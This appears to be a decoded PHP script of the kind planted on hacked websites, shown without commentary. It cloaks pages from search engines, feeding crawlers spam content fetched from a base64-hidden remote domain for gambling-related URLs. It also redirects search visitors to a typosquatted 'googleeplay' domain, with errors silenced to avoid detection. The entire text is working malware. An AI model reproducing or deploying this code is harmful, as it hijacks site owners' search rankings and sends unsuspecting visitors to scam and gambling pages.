PHP Decode

set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");

define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cHM6Ly9pbmluc2VvaW5pbi5jb20v'));
define('MULU','app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|data|-\d(?!\d)');

function isEngines($key){
    return stristr($key, 'Googlebot') !== false || stristr($key, 'Bingbot') !== false || stristr($key, 'Yahoo!') !== false;
}

function isIncludes(){
    $re = 0;
    $temp = explode('|', MULU);
    foreach($temp as $v){
        if(preg_match('/' . $v . '/', URI)){
            $re = 1;
        }
    }
    return $re;
}

function isRef($ref){
    return stristr($ref, 'google') !== false || stristr($ref, 'bing') !== false || stristr($ref, 'yahoo') !== false;
}

function getContents($url){
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $result = curl_exec($ch);
        curl_close($ch);
        if($result == NULL){
            return file_get_contents($url);
        }
        return $result;
    } else {
        return file_get_contents($url);
    }
}

$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];

if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if(isIncludes()){
        echo getContents(host."?xhost=".$ym.'&reurl='.URI.'&ua=Googlebot'.'&f=google');
        exit;
    } else {
        echo file_get_contents("https://in.ininseoinin.com/suijiurl/zz.php");
    }
} else {
    if(isIncludes() && isRef($ref)){
        header("Location: https://in.googleeplay.com/xiaoji.html");
        exit;
    }  
}